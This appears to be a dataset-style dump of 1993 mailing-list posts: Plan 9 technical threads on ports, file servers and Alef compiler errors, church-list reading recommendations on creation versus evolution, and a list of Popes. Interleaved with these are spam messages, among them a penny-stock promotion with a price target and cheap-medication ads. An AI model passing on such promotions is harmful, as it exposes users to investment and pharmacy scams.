10:40:25 -0400",plan 9 platforms,"I was once given to understand that the HP ""snake"" was the next target architecture for a plan 9 port, but it isn't listed in the current doc. Is that port in progress, or was it never done? Just curious. Thanks, Arnold ",0,0 rob@research.att.com,9fans@cse.psu.edu,"Tue, 27 Jul 1993 11:20:30 -0400",,"HP took far to long to release the documentation for the snake, so that port, although planned, was never done. -rob ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Tue, 27 Jul 1993 23:39:18 -0400",forwarded mail from ,"This was addressed to 9fans-owner, but was probably intended for the whole list. ------- Forwarded Message Return-Path: psuvax1.cse.psu.edu!research.att.com!plan.9 Received: from psuvax1.cse.psu.edu ([130.203.2.4]) by groucho.cse.psu.edu with SMTP id <2538>; Mon, 26 Jul 1993 10:32:50 -0400 Received: from research.att.com ([192.20.225.2]) by psuvax1.cse.psu.edu with SMTP id <292801>; Mon, 26 Jul 1993 10:33:36 -0400 From: plan.9@research.att.com Date: Mon, 26 Jul 1993 10:30:01 -0400 To: 9fans-owner@cse.psu.edu Message-Id: <93Jul26.103336edt.292801@psuvax1.cse.psu.edu> >> From cse.psu.edu!9fans-owner Mon Jul 26 08:11:55 EDT 1993 >> Received: by inet.att.com; Mon Jul 26 08:11 EDT 1993 >> Received: from relay.pipex.net ([158.43.128.1]) by psuvax1.cse.psu.edu with SMTP id <292433>; Mon, 26 Jul 1993 08:04:41 -0400 >> Received: from pipex.net by relay.pipex.net with SMTP (PP) >> id <28301-0@relay.pipex.net>; Mon, 26 Jul 1993 13:03:56 +0100 >> To: 9fans@cse.psu.edu >> From: Tim.Goodwin@pipex.net >> Subject: Obtaining Plan 9 as an individual >> Date: Mon, 26 Jul 1993 07:55:00 -0400 >> Message-ID: <""relay.pipe.335:26.06.93.12.04.18""@pipex.net> >> >> Does anyone know what my chances of obtaining Plan 9 are as an >> individual? Would it be worth writing to Bell Labs? >> >> Failing that, maybe I'll have to find a university who'd take me on a >> as a (very) part time assistant OS hacker... >> >> Tim. it might become possible for individuals to acquire the system. steps are being taken in that direction. the decision depends on various factors that are not influencable by outside campaigns and there is no promise of a successful conclusion, however. ------- End of Forwarded Message",0,0 stassen@alc-ohio.alc.com,christian@geneva.rutgers.edu,"Thu, 29 Jul 1993 07:14:17 -0400",Re: reading list wanted,"Enclosed is Mr. Buxton's proposed creationist reading list, which I wrote mine (the one you already have) in response to: ----------------------------------------- >From loowit.wr.tek.com!davidbu@netcomsv.netcom.com Wed Apr 15 06:54:23 1992 Return-Path: Received: from netcomsv.netcom.com by alc.com (4.1/SMI-4.1/ALC-main-1.13) id AA14404; Wed, 15 Apr 92 06:54:22 PDT From: loowit.wr.tek.com!davidbu@netcomsv.netcom.com Received: from relay.tek.com by netcomsv.netcom.com (4.1/SMI-4.1) id AA26450; Wed, 15 Apr 92 06:48:06 PDT Received: by relay.tek.com id ; Wed, 15 Apr 92 06:34:58 -0700 Received: from wrgate.wr.tek.com by tektronix.TEK.COM (4.1/8.0) id AA22825; Wed, 15 Apr 92 06:37:28 PDT Received: by wrgate.wr.tek.com (5.51/8.0) id AA08484; Wed, 15 Apr 92 06:34:50 PDT Received: from localhost.TEK by loowit.WR.TEK.COM (4.1/8.0) id AA00267; Wed, 15 Apr 92 06:34:45 PDT Message-Id: <9204151334.AA00267@loowit.WR.TEK.COM> To: stassen@alc.com Subject: Re: Biblical Origins - Book list Date: Wed, 15 Apr 92 06:34:45 PDT Status: R Selected References on Topics Related to Creationism prepared by the Geoscience Research Institute for Pastors, Primary and Secondary Teachers Ager, Derek V. 1981 The nature of the stratigraphical record. 2nd ed. John Wiley & Sons, New York. An aggressively committed evolutionist gives an impressive presentation of the necessity of a catastrophic model to account for geologic features. 122 pages. Anderson, J. Kerby & Harold G. Coffin. 1977. Fossils in focus. Zondervan Publishing House, Grand Rapids, Michigan. Part of a series intended especially for college and university students. Lays out both creation and evolution models and shows how the fossil record best fits the former. 95 pages. Bliss, Richard B., Gary E. Parker, & Duage T. Gish. 1980. Fossils: key to the present. Creation- Life Publishers, San Diego, California. An elementary introduction to fossils and to evolutionistic and creationistic interpretations of the fossil record. 81 pages. Bliss, Richard B., & Gary E. Parker. 1979. Origin of life: Evolution, creation. Creation-Life Publishers, San Diego, California. A well-written, well-illustrated, brief presentation of contrasting creationist and evolutionist explanations for the origin of life. Suited for secondary level, and appropriate for use in public schools. 51 pages. Bowden, M. 1977. Ape-men--fact of fallacy? Sovereign Publications, Kent. One of the few book- length creationist analyses of the fossil evidence bearing on the origin of man. If offers a typical creationist treatment of ancient man fossils, emphasizing the sketchy and often fraudulent nature of the evidence. Although the interpretive emphasis of the book is exaggerated and often mistaken, it contains much useful information not readily available in the standard scientific literature. 196 pages. Clark, R.E.D. 1961 The universe: plan or accident? Fortress Press, Philadelphia. A scholarly presentation of the evidences from physics, chemistry, astronomy, and biology for creation by a Supreme Being. 238 pages. Coffin, Harold G. 1977. Earth story. Review & Herald Publishing Association, Takoma Park, Washington, D.C. A non-technical volume covering most aspects of creationism and its relation to Scripture. Useful for non- scientists and junior and senior high-school students. Well illustrated in color. 190 pages. Coffin, Harold G. with R. H. Brown. 1983 Origin by design. Review & Herald Publishing Association, Takoma Park, Washington, D. C. A general reference covering the topic of creation; evidences for creation, evidences for a universal flood, discussion of fossils, geologic processes, geologic time, speciation and the evolutionary theory. 494 pages. Coppedge, James F. 1973. Evolution: possible or impossible? Zondervan Publishing House, Grand Rapids, Michigan. An excellent popular treatment of probability considerations in molecular biology from a creationist viewpoint. The presentation is enlivened and clarified with striking illustrations. The reader should exercise caution in utilizing material from Chapter 12 in which the author uncritically summarized from the creationist literature a wide range of viewpoints of topics other than molecular biology. 276 pages. Denton, Michael. 1985. Evolution: A theory in crisis. The Hutchinson Publishing Group. 17-21 Conway St. London W1P 6JD England. One of the best recent books on the problems of evolutionary theory. 368 pages. Gish, Duane T. 1979. Evolution: the fossils say no! 3rd ed. Institute for Creation Research, San Diego, California. A well-written paperback which clearly and fairly discusses the fossil record with emphasis on early man. Evolutionary and creationist interpretations are contrasted. 190 pages. Grasse, Pierre P. 1977. Evolution of living organisms. Academic Press, New York. Translation from French of a well-written, and often humorous, work in which a respected evolutionist scholar arguing from biochemistry, molecular biology, paleantology, and genetics presents evidence that generally has been recognized by the creationist community. In presenting his arguments, Dr. Grasse retreats one step short of recognizing a transcendent agency working in and through nature. 297 pages. Hitching, Francis. 1982. The neck of the giraffe: Where Darwin went wrong. Ticknor & Fields, New Haven, Connecticut. Discussion of the problems with Darwinism and the neo-Darwinian synthesis in explaining the processes of evolution. Chapter 5 discusses the creation viewpoint. The author rejects creationism and hopes that biologists will discover another model to explain how evolution occurred. 288 pages. Javor, George T. 1979. Once upon a molecule. Southern Publishing Association, Nashville, Tennessee. A brief, non-technical discussion of chemical evolution, written by a competent biochemist. 31 pages. Lester, Lane P. & Raymond G. Bohlin. 1984. The natural limits to biological change. Zondervan Publishing House, Grand Rapids, Michigan. Examines the concept of change in species and rejects both gradualism and punctuated equilibrium as being inadequate models of change. Proposes instead that changes in species occur by loss of genetic variability and that there are limits to the amount of change possible. 207 pages. MacBeth, Norman. 1971. Darwin retried. Gambit Inc., Boston, Massachusetts. An important work by a lawyer who, while not presenting a case for creationism, points out inconsistencies, confusion and contradictions in the classical evolutionary theory. 178 pages. Roth, Ariel A. 1982. The universal flood debate: the response. Liberty 77(6):12-15. Geologic evidences supporting the concept of a worldwide flood. Roth, Ariel A. 1984. The trend toward catastrophism in geology. The Adventist Review 161(24):9- 11. A non-technical review of the increasing evidence of rapid changes in the past. Roth, Ariel A. 1986. Some questions about geochronology. Origins 13 (2):64-85. A review of time-dependent factors that disagree with geochronological interpretations requiring billions of years for the development of the crust of the earth and the evidence of life contained therein. Factors considered are: rates of erosion, sediment deposition in the ocean, rate of sediment accumulation on the continents, rates of uplift of mountains, production of volcanic ejecta, growth rates of human populations, and time required for evolutionary organization of life. -- Chris Stassen (614) 366-9628 stassen@alc.com <><",0,0 Steven Patterson ,Group Moderator ,"Thu, 29 Jul 1993 16:38:31 -0400",creation vs. evolution,"Hi, This is in response to your request for sources on this debate. There is a good book written in favor of creation TITLE: The mystery of life's origin : reassessing current theories Charles B. Thaxton, Walter L. Bradley, Roger L. Olsen. PUBLISHER: New York : Philosophical Library, 1984. The book mainly addresses the primary origin of life and is rather technical, being written by chemists. It also contains a large number of references, but I would only recommend this book for someone with a good background in chemistry i.e. at least one year of college chemistry, though a layperson could read and understand the concepts if he or she were willing to really work hard. Hope this helps Steve ",0,0 Sean Quinlan ,9fans@cse.psu.edu,"Thu, 29 Jul 1993 19:44:03 -0400",Plan9 file server for a PC," Has anyone ported the plan9 file server to a PC? thanks sean quinlan ",0,0 cnews@umr.edu,,"Fri, 30 Jul 1993 04:27:52 +0000",Re: NEEDED: Bible Study Resource(s) on Creation vs. Evolution,"espiritu@cgi.com (Rex Espiritu) writes: >I've been asked to lead an evening Bible Study a week from tonight on >Tuesday, August 3, 1993 on the topic of Creation vs. Evolution. We're >doing a series on Apologetics (just scratching the surface) for the rest >of this summer. > >I would greatly appreciate any pointers to resources which may be readily >available in time. > >[While I redirect arguments on this subject to talk.origins, I do >attempt to maintain lists of references, for purposes like this. > ... >--clh] How about ""Reasons"" by Josh McDowell and DonStewart, Living Books, (1981) ISBM 0-8423-5287-2, most of which is devoted to that very topic. Also helpful is a small section on ""Don't Genesis 1 and 2 contain 2 contradictary accounts of creation?"" in the book ""Answers"" by Josh McDowell and Don Stewart, Here's Life Publishers, Campus Crusade for Christ, ISBN 0-918956-65-X, published 1983. Also contact: Institute for Creation Research; P.O. Box 2667; El Cajon, CA 92021-0667 Ask them for materials on this subject. -- Scott Hayes scotth@cs.umr.edu shayes@usgs.gov Standard Disclaimers Apply ""The proper aim of giving is to put the recipient in a state where he no longer needs our gift."" --C.S. Lewis, The Four Loves Path: christian Newsgroups: soc.religion.christian From: david@toshiba.com (David Lehmann) Subject: Re: NEEDED: Bible Study Resource(s) on Creation vs. Evolution Approved: christian@aramis.rutgers.edu Rex, In soc.religion.christian you write: >I've been asked to lead an evening Bible Study a week from tonight on >Tuesday, August 3, 1993 on the topic of Creation vs. Evolution. Would you like to try: ""Life - How Did It Get Here? By Evolution Or By Creation?"" published by the Watchtower Bible and Tract Society of New York, 1985 Yes, this was written by Jehovah's Witnesses. I realize you may have many differences with Jehovah's Witnesses, but on this subject you may find agreement. This book addresses many of the *theories* that evolutionist have created, and counters them with Bibical as well as secular evidence which exposes the evolutionary theory as being impossible. This book contains many illustrations and references. It may be exactly what your looking for. ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Fri, 30 Jul 1993 11:48:48 -0400",,">> Has anyone ported the plan9 file server to a PC? >> thanks >> sean quinlan i did that a few months ago. it only supports ISA at the moment (i haven't got an EISA yet to try), and thus only 16 Mbytes since i don't compensate for the limitations of the pc's DMA addressing. (it wouldn't be too hard: the SCSI adapter could allocate some space below 16meg and copy the data; whether that's sensible is another matter.) i run the file server on a 16Mb 486sx33 with an Ultrastor 14F and two Fujitsu SCSI-2 drives. (it boots from a floppy.) the ethernets supported are those supported by the cpu/terminal kernel and also NE2100 clones, which use the AMD Lance (another device with addressing problems!). the 486sx33 serves a 486dx2-66 CPU server and a few terminals. i can't compare its performance to an SS2; i improvised a bootstrap for Plan 9 that went straight to the pc via 9sscd. the only host adapter supported is the Ultrastor 14F. the driver should work with the 34F with at most minor changes, if any, but my 34F and not-quite-VESA motherboard don't agree, so i haven't been able to test it. a bus-mastering VESA device can avoid the 16Mb DMA restrictions, however, making an ISA/VESA pc more useful as a file server. i have an Adaptec 1542B/Bustek 542B driver, but it doesn't drive discs (it runs the 1542B in target mode, not initiator mode); still, most of what is required is there. ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Fri, 30 Jul 1993 12:20:06 -0400","scsi driver, small bits & pieces","i have an Ultrastor 14F driver for the cpu/terminal kernel. i've been using it fairly heavily for a few months; it seems all right, at least with discs and CDROM. i've also got a variant for the Adaptec 1542B/Bustek 542B, but i haven't used it much. if anyone would like it/them, please let me know. i've got a few minor changes that might be of interest: 16550A support in devuart.c and hayes.c (seems to work). changes to devvga.c, aux/vga and /lib/vgadb to give minimal support for (my) S3/911 card in 1024x768 mode. it doesn't use the accelerator, and still needs tuning, but if anyone else wants to help fiddle with it, let me know. ",0,0 """ejoymall Number one Shopping Info."" ",susanne@groucho.cse.psu.edu,"Sun, 01 Aug 1993 05:28:32 +0700",Best Shopping ��Ѥ���Ҫԡ�Ѻ⺹�ʿ��,_____ Click here to be removed from the mailing list Powered by Web Wiz Mailing List version 3.02,1,1 huggins@quip.eecs.umich.edu,soc-religion-christian@uunet.uu.net,"Tue, 03 Aug 1993 16:40:34 +0000",Re: NEEDED: Bible Study Resource(s) on Creation vs. Evolution,"In article espiritu@cgi.com (Rex Espiritu) writes: |I've been asked to lead an evening Bible Study a week from tonight on |Tuesday, August 3, 1993 on the topic of Creation vs. Evolution. We're |doing a series on Apologetics (just scratching the surface) for the rest |of this summer. | |I would greatly appreciate any pointers to resources which may be readily |available in time. Oops ... just a bit late, but others may be interested in this information. |[In addition to the references in the FAQ, the Journal of the American |Scientific Affiliation (a journal that explores issues at the |boundaries of science and Christianity) has had at least one issue |with articles from both viewpoints. The one I remember was in the |early 70's, but I think there have been more recent issues devoted to |this topic. --clh] Actually, there tends to be a continual stream of articles in the general area -- not so much creation vs. evolution, but recent articles I recall included critiques of Philip Johnson's book _Darwin_On_Trial_, discussions of flood geology, and other things that were way over my head. Incidentally, the Journal of the ASA changed its name a few years back and is now known as ""Perspectives on Science and Christian Faith"" or just ""Perspectives"". ASA also puts out a booklet called ""Teaching Science in a Climate of Controversy"", designed to be used as a supplement to high school courses on evolution. The point of the booklet is mainly that there are advocates at both extremes of the controversy who are apt to practice bad science, and that one must look critically at all claims in the field, regardless of which position they advocate. -- Jim Huggins, Univ. of Michigan huggins@eecs.umich.edu ""You cannot pray to a personal computer no matter how user-friendly it is."" -- W. Bingham Hunter",0,0 timi@mendel.berkeley.edu,soc-religion-christian@agate.berkeley.edu,"Tue, 03 Aug 1993 18:13:36 +0000",Re: NEEDED: Bible Study Resource(s) on Creation vs. Evolution," >I've been asked to lead an evening Bible Study a week from tonight on >Tuesday, August 3, 1993 on the topic of Creation vs. Evolution. For a good historical perspective of the modern creationist movement I would recommend: _The Creationists_ by Ronald L. Numbers New York : A. A. Knopf, 1992. This book skips the scientific debate of creation vs. evolution and instead details the history of various Christian creationist movements and creationist organizations starting from around 1900. Very interesting and, because it avoids the scientific debate, largely unbiased (read Ronald Number's introduction for more details). Most of the information is based on first-hand accounts and interviews. Regards, Tim Ikeda timi@mendel.berkeley.edu ",0,0 Brooke ,"katrina@groucho.cse.psu.edu, angel@groucho.cse.psu.edu, amber@groucho.cse.psu.edu, ricky@groucho.cse.psu.edu","Wed, 04 Aug 1993 05:18:49 +0100",Erectile issues? No qualms. Fix it. stress Dusty,"There are 100's of websites to buy medication for Erectile Difficulties, but not for 1.56 cents a pill. We have some of the lowest pricing on the internet. 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TIA, --Jerry ",0,0 Dan Ehrlich ,plan9-fans@cse.psu.edu,"Thu, 12 Aug 1993 17:10:23 -0400",Possible Mailing List Problems,"Hi, I am the postmaster here and Scott Schwartz reported to me that there may be a problem with this mailing list. Please ignore this test message. -- Dan Ehrlich -- Dan Ehrlich - Systems Analyst - PSU Computer Science and Engineering ""Universities should be safe havens where ruthless examination of realities will not be distorted by the aim to please or inhibited by the risk of displeasure."" - Kingman Brewster",0,0 Jerry W Johnson ,plan.9@research.att.com,"Thu, 12 Aug 1993 18:04:26 -0400",ALEF Installation?,"Hi 9'ers, I've run into some problems installing the new ALEF files. To get this far, I: Copied the old alef tree to /sys/src/alef.old. Installed the new tree into /sys/src/alef. Copied back fcall.h and the conversions, convM2S & convS2M. Copied the new include files to /sys/include/alef. Installed the new sparc mkfile and mksyslib. Made the dirs /$objtype/lib/alef where not done. Made the new compilers (kal,val,8al) by running the mkfiles in /sys/src/alef/k /v /8 using ""objtype=architecture mk"" and copying the resulting binary to /$objtype/bin. Then from /sys/src/alef I ran ""objtype=architecture mk install""; all the libraries (/$objtype/lib/alef/*.a) seem to compile fine, (assuming none generated for the 68020 & only libA.a, libbio.a for the 386), but $objtype=mips generates the error: val -w div64.l div64.l"":12: syntax error near symbol 'lint' mk: val -w div64.l : exit status=rc 8989:val 8991 errors mk: for (i in ... : exit status:=rc 8191:mk 8999:error mk: @{cd v; mk ... : exit status=rc 8049:val 8991:errors mk: for (i in ... : exit status=rc 8191:mk 8988:error mk: @{cd v; mk ... : exit status=rc 8042:mk 8190:error mk: mk $objtype.install : exit status=rc 8039:mk 8041:error If, instead, ""mk installall"" is executed from /sys/src/alef, the compile lists errors ""ar: *.8 cannot open"" for: /sys/src/alef/lib/libbio, /sys/src/alef/lib/p9, & ( announce.l:69 WARNING parameter INT nf declared but not used ) /sys/src/alef/lib/port. Anybody got any ideas, insights? ALSO, once the installation is complete, will the example code which came on the 2nd rev cdrom, (/sys/src/alef/test, /sys/src/alef/test/Y), all compile correctly? ",0,0 philw@research.att.com,plan9-fans-owner@cse.psu.edu,"Thu, 12 Aug 1993 18:56:51 -0400",,">Then from /sys/src/alef I ran ""objtype=architecture mk install""; >all the libraries (/$objtype/lib/alef/*.a) seem to compile fine, >(assuming none generated for the 68020 & only libA.a, libbio.a for >the 386), but $objtype=mips generates the error: >val -w div64.l >div64.l"":12: syntax error near symbol 'lint' >mk: val -w div64.l : exit status=rc 8989:val 8991 errors >mk: for (i in ... : exit status:=rc 8191:mk 8999:error >mk: @{cd v; mk ... : exit status=rc 8049:val 8991:errors >mk: for (i in ... : exit status=rc 8191:mk 8988:error >mk: @{cd v; mk ... : exit status=rc 8042:mk 8190:error >mk: mk $objtype.install : exit status=rc 8039:mk 8041:error div64.l is for a 64 bit mips compiler I have been working on. Just delete the file from the library. When or If I do a 64 bit distribution I will include everything necessary. >once the installation is complete, will the example code which >came on the 2nd rev cdrom, (/sys/src/alef/test, /sys/src/alef/test/Y), No. The /sys/src/alef/test/Y I included with the new compilers I shipped you compile and run. Some of the tests are supposed to generate compiler errors. philw. ",0,0 Jerry W Johnson ,plan.9@research.att.com,"Fri, 13 Aug 1993 11:30:58 -0400",ALEF Installation (REPOST)," I think this had some problems getting out. Sorry, if you got it twice. --JJ Hi 9'ers, I've run into some problems installing the new ALEF files. To get this far, I: Copied the old alef tree to /sys/src/alef.old. Installed the new tree into /sys/src/alef. Copied back fcall.h and the conversions, convM2S & convS2M. Copied the new include files to /sys/include/alef. Installed the new sparc mkfile and mksyslib. Made the dirs /$objtype/lib/alef where not done. Made the new compilers (kal,val,8al) by running the mkfiles in /sys/src/alef/k /v /8 using ""objtype=architecture mk"" and copying the resulting binary to /$objtype/bin. Then from /sys/src/alef I ran ""objtype=architecture mk install""; all the libraries (/$objtype/lib/alef/*.a) seem to compile fine, (assuming none generated for the 68020 & only libA.a, libbio.a for the 386), but $objtype=mips generates the error: val -w div64.l div64.l"":12: syntax error near symbol 'lint' mk: val -w div64.l : exit status=rc 8989:val 8991 errors mk: for (i in ... : exit status:=rc 8191:mk 8999:error mk: @{cd v; mk ... : exit status=rc 8049:val 8991:errors mk: for (i in ... : exit status=rc 8191:mk 8988:error mk: @{cd v; mk ... : exit status=rc 8042:mk 8190:error mk: mk $objtype.install : exit status=rc 8039:mk 8041:error If, instead, ""mk installall"" is executed from /sys/src/alef, the compile lists errors ""ar: *.8 cannot open"" for: /sys/src/alef/lib/libbio, /sys/src/alef/lib/p9, & ( announce.l:69 WARNING parameter INT nf declared but not used ) /sys/src/alef/lib/port. Anybody got any ideas, insights? ALSO, once the installation is complete, will the example code which came on the 2nd rev cdrom, (/sys/src/alef/test, /sys/src/alef/test/Y), all compile correctly? ",0,0 Evan ,maricela@groucho.cse.psu.edu,"Sat, 14 Aug 1993 19:01:34 -0500",Change with passion today," introduce freshest session http://qchangemeos.com >> under ices 920382 we smittel present ",1,1 Lottie Dickinson ,odessa@groucho.cse.psu.edu,"Sun, 15 Aug 1993 00:48:41 -0600",Investors - Newsletter.. read and win xcg,"High-tech Investment Review Nanotechnology stocks continue to perform at superstar levels. We have carefully sifted through these cutting edge companies to bring you this special winner. Company: Nano Superlattice Technology, Inc. Symbol: NSLT Current Price: around $2.50 Short Term Target Price: $6.90 More about the company: Nano Superlattice Technology Inc. is a nanotechnology company engaged in the coating of precision tools and components with nano structured coatings for high-tech industries. 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We've got the 2nd rev cdrom & the updates sent by Mr Pike. How about some general implementation info, please? AND; Does mail require a cpu server to be running cron? Does cron need to be modified for mail? What listens for mail posts? How does it work? Where, (besides the man page), can we learn more? We've created mailboxes (edmail -c) and now when we try to use mail,we get the input screen, we type the input, press ""CTRL d"", ""ESC"" we get: sendmail 233: suicide: sys: trap: fault read addr=0x8 pc=0x83b0 We're using sparc2's. Any help/info is appreciated. TIA. Cheers, --Jerry ",0,0 jhpb@sarto.gaithersburg.md.us,,"Thu, 19 Aug 1993 13:17:55 +0000",Re: How many Popes have there been?,"This is from the Catholic Encyclopedia (non-copyrighted). Note that you will find some variance in lists of Popes because at times there were several claimants, and it can be difficult to figure out who was and was not Pope at those times. The names without numbers in the list below are anti-Popes according to whoever drew up this list (anti-Pope == false claimant to the Papacy). I have added the remaining Popes at the end, making John Paul II number 266. Again, according to this list. There is also a peculiarity in this particular list in that it canonizes Pope Liberius. Now that I look, it also uncanonizes St. Damasus I. Oh well. Note also that there have been only 2 canonized Popes in the last 400 years. There seems to be a good case for the canonization of Pius IX, but the Holy Father hasn't done it yet. Pius IX reigned the longest of any of the Popes. LIST OF THE POPES. (1) St. Peter, d. 67(?) (2) St. Linus, 67-79(?) (3) St. Anacletus I, 79-go(?) (4) St. Clement I, 90-99(?) (5) St. Evaristus, 99-107(?) (6) St. Alexander I, 107-16(?) (7) St. Sixtus (Xystus) I, 116-25(?) (8) St. Telesphorus, 125-36(?) (9) St. Hyginus, 136-40(?) (10) St. Pius, 140-54(?) (11) St. Anicetus, 154-65(?) (12) St. Soter, 165-74 (13) St. Eleutherius, 174-89 (14) St. Victor, 189-98 (15) St. Zephyrinus, 198-217 (16) St. Callistus I, 217-22 (17) St. Urban I, 222-30 (18) St. Pontian, 230-35 (19) St. Anterus, 235-36 (20) St. Fabian, 236-50 (21) St. Cornelius, 251-53 Novatianus, 251-58(?) (22) St. Lucius I, 253-54 (23) St. Stephen I, 254-57 (24) St. Sixtus (Xystus) II, 257-58 (25) St. Dionysius, 259-68 (26) St. Felix I, 269-74 (27) St. Eutychian, 275-83 (28) St. Caius, 283-96 (29) St. Marcellinus, 296-304 (30) St. Marcellus I, 308-09 (31) St. Eusebius, 309(310) (32) St. Melchiades (Miltiades), 311-14 (33) St. Sylvester I, 314-35 (34) St. Marcus, 336 (35) St. Julius I, 337-52 (36) St. Liberius, 352-66 Felix II, 355-65 (37) Damasus I, 366-84 (38) St. Siricius, 384-98 (39) St. Anastasius I, 398-401 (40) St. Innocent I, 402-17 (41) St. Zosimus, 417-18 (42) St. Boniface I, 418-22 (43) St Celestine I, 422-32 (44) St Sixtus (Xystus) III, 432-40 (45) St. Leo I, 440-61 (46) St. Hilarius, 461-68 (47) St. Simplicius, 468-83 (48) St. Felix II (III), 483-92 (49) St. Gelasius I, 492-96 (50) St. Anastasius II, 496-98 (51) St. Symmachus, 498-514 (52) St. Hormisdas, 514-23 (53) St. John I, 523-26 (54) St. Felix III (IV), 526-30 (55) Boniface II, 530-32 (56) John II, 533-35 (57) St. Agapetus I, 535-36 (58) St. Silverius, 536-38(?) (59) Vigilius, 538(?)-55 (60) Pelagius I, 556-61 (61) John III, 561-74 (62) Benedict I, 575-79 (63) Pelagius II, 579-90 (64) St. Gregory I, 590-604 (65) Sabinianus, 604-06 (66) Boniface III, 607 (67) St. Boniface IV, 608-15 (68) St. Deusdedit, 615-18 (69) Boniface V, 619-25 (70) Honorius I, 625-38 (71) Severinus, 638-40 (72) John IV, 640-2 (73) Theodore I, 642-49 (74) St. Martin I, 649-55 (75) St. Eugene I, 654-57 (76) St. Vitalian, 657-72 (77) Adeodatus, 672-76 (78) Donus, 67-78 (79) St. Agatho, 678-81 (80) St. Leo II, 682-83 (81) St. Benedict II, 684-85 (82) John V, 685-86 (83) Conon, 686-87 (84) St. Sergius I, 687-701 (85) John VI, 701-05 (86) John VII, 705-07 (87) Sisinnius, 708 (88) Constantine, 708-15 (89) St. Gregory II, 715-31 (90) St. Gregory III, 731-41 (91) St. Zacharias, 741-52 Stephen (II), 752 (92) Stephen II (III), 752-57 (93) St. Paul I, 757-67 Constantine, 767-68 (94) Stephen III (IV), 768-72 (95) Adrian I, 772-95 (96) St. Leo III, 795-816 (97) Stephen IV (V), 816-17 (98) St. Paschal I, 817-24 (99) Eugene II, 824-27 (100) Valentine, 827 (101) Gregory IV, 827-44 (102) Sergius II, 844-47 (103) St. Leo IV, 847-55 (104) Benedict III, 855-58 Anastasius, 855 (105) St. Nicholas I, 858-67 (106) Adrian II, 867-72 (107) John VIII, 872-82 (108) Marinus I (Martin II), 882-84 (109) Adrian III, 884-85 (110) Stephen V (VI), 885-91 (111) Formosus, 891-96 (112) Boniface VI, 896 (113) Stephen VI (VII), 896-97 (114) Romanus, 897 (115) Theodore II, 897 (116) John IX, 898-900 (117) Benedict IV, 900-03 (118) Leo V, 903 (119) Christopher, 903-04 (120) Sergius III, 904-11 (121) Anastasius III 911-13 (122) Lando, 913-li (123) John X, 914-28 (124) Leo VI, 928 (125) Stephen VII (VIII), 928-31 (126) John XI, 931-36 (127) Leo VII, 936-39 (128) Stephen VIII (IX), 939-42 (129) Marinus II (Martin III), 942-4fi (130) Agapetus II, 946-55 (131) John XII, 955-64 (132) Leo VIII, 963-65 (133) Benedict V, 964 (134) John XIII, 965-72 (135) Benedict VI, 973-74 Boniface VII, 974 (136) Benedict VII, 974-83 (137) John XIV, 983-84 (138) Boniface VII, 984-85 (139) John XV, 985-96 (140) Gregory V, 996-99 John XVI, 997-98 (141) Silvester II, 999-1003 (142) John XVII, 1003 (143) John XVIII, 1003-09 (144) Sergius IV, 1009-12 (145) Benedict VIII, 1012-24 (146) John XIX, 1024-32 (147) Benedict IX (a), 1032-45 Silvester III, 1045 (148) Gregory VI, 1045-46 (149) Clement II, 1046-47 Benedict IX (b), 1047-48 (150) Damasus II, 1048 (151) St. Leo IX, 1049-54 (152) Victor II, 1055-57 (153) Stephen IX (X), 1057-58 (154) Benedict X, 1058-59 (155) Nicholas II, 1059-61 (156) Alexander II, 1061-73 Honorius II, 1061-64 (157) St. Gregory VII, 22 Apr., 1073-25 May, 1085 Clement III, 1084-1100 (158) Victor III, 9 May, 1087-16 Sept., 1087 (159) Urban II, 12 March, 1088-29 July, 1099 (160) Paschal II, 13 Aug., 1099-21 Jan., 1118 Sylvester IV, 1105-11 (161) Gelasius II, 24 Jan., 1118-28 Jan., 1119 Gregory VIII, 1118-21 (162) Callistus II, 2 Feb., 1119-13 Dec. 1124 (163) Honorius II, 15 Dec., 1124-13 Feb., 1130 Celestine II, 1124 (164) Innocent II, 14 Feb., 1130-24 Sept., 1143 Anacletus II, 1130-38 Victor IV, 1138 (165) Celestine II, 26 Sept., 1143-8 March, 1144 (166) Lucius II, 12 March, 1144 (cons.)-15 Feb., 1145 (167) Eugene III, 15 Feb., 1145-8 July, 1153 (168) Anastasius IV, 12 July, 1153 (cons.)-3 Dec., 1154 (169) Adrian IV, 4 Dec., 1154-1 Sept., 1159 (170) Alexander III, 7 Sept., 1159-30 Aug., 1181 Victor IV, 1159-64 Paschal III, 1164-68 Callistus III, 1168-78 Innocent III, 1179-80 (171) Lucius III, 1 Sept., 1181-25 Nov., 1185 (172) Urban III, 25 Nov., 1185-20 Oct., 1187 (173) Gregory VIII, 21 Oct.-17 Dec., 1187 (174) Clement III, 19 Dec., 1187-March, 1191 (175) Celestine III, 30 March, 1191-8 Jan., 1198 (176) Innocent III, 8 Jan., 1198-16 July, 1216 (177) Honorius III, 18 July, 1216-18 March, 1227 (178) Gregory IX, 19 March, 1227-22 Aug., 1241 (179) Celestine IV, 25 Oct.-10 Nov., 1241 (180) Innocent IV, 25 June, 1243-7 Dec., 1254 (181) Alexander IV, 12 Dec., 1254-25 May, 1261 (182) Urban IV, 29 Aug., 1261-2 Oct., 1264 (183) Clement IV, 5 Feb., 1265-29 Nov., 1268 (184) St. Gregory X, 1 Sept., 1271-10 Jan., 1276 (185) Innocent V, 21 Jan.-22 June, 1276 (186) Adrian V, 11 July-18 Aug., 1276 (187) John XXI, 8 Sept., 1276-20 May, 1277 (188) Nicholas III, 25 Nov., 1277-22 Aug., 1280 (189) Martin IV, 25 Feb., 1281-28 March, 1285 (190) Honorius IV, 2 Apr., 1285-3 Apr., 1287 (191) Nicholas IV, 22 Feb., 1288-4 Apr., 1292 (192) St. Celestine V, 5 July-13 Dec., 1294 (193) Boniface VIII, 24 Dec., 1294-11 Oct., 1303 (194) Benedict XI, 22 Oct., 1303-7 July, 1304 (195) Clement V, 5 June, 1305-20 Apr., 1314 (196) John XXII, 7 Aug., 1316-4 Dec., 1334 Nicholas V, 1328-30 (197) Benedict XII, 20 Dec., 1334-25 Apr., 1342 (198) Clement VI, 7 May, 1342-6 Dec., 1352 (199) Innocent VI, 18 Dec., 1352-12 Sept., 1362 (200) Urban V, 6 Nov. 1362 (cons.)-19 Dec., 1370 (201) Gregory XI, 30 bec., 1370-27 March, 1378 (202) Urban VI, 8 Apr., 1378-15 Oct., 1389 Clement VII, 1378-94 (203) Boniface IX, 2 Nov., 1389-1 Oct., 1404 Benedict XIII, 1394-1424 (204) Innocent VII, 17 Oct., 1404-6 Nov., 1406 (205) Gregory XII, 30 Nov., 1406-4 July, 